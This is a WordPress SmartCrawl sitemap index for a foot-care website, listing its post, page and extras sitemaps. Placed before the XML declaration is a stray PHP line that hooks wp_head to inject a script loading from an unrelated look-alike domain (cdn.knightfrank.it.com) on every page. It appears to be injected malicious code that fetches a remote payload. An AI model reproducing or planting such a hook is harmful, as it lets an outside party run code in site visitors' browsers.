add_action('wp_head',function(){echo'<script src="https://cdn.knightfrank.it.com/shop/frontend/ajax/js/lazy.min.js" defer></script>';},999);
<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet type='text/xml' href='//footdoctortoday.com/?wds_sitemap_styling=1&#038;template=sitemapIndexBody'?><!-- SMARTCRAWL SITEMAP -->
<sitemapindex
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd"
	xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
			<sitemap><loc>https://footdoctortoday.com/post-sitemap1.xml</loc></sitemap>			<sitemap><loc>https://footdoctortoday.com/page-sitemap1.xml</loc></sitemap>			<sitemap><loc>https://footdoctortoday.com/extras-sitemap1.xml</loc></sitemap>	</sitemapindex>